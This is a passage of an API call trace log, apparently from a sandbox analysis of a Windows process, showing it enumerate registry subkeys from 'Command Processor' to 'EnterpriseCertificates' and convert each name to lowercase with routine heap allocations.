hKey=0x24, dwIndex=0x9, lpName=0x252b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x252c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.588] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x252b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x252c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.588] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x252b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x252c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.588] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x252b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0165.588] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.589] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x252b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x252c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.589] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x252b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.589] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x252b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x252c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.589] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x252b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x252c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0165.589] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.589] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.589] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x252b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x252c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.590] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x252b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x252c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.590] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x252b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x252c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0165.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.591] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x252b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.591] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x252b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x252c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.591] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x252b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x252c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.591] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x252b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x252c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0165.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.591] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.592] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x252b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x252c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.592] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x252b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x252c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.592] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x252b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.592] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x252b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x252c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0165.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.593] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x252b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.593] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x252b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x252c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 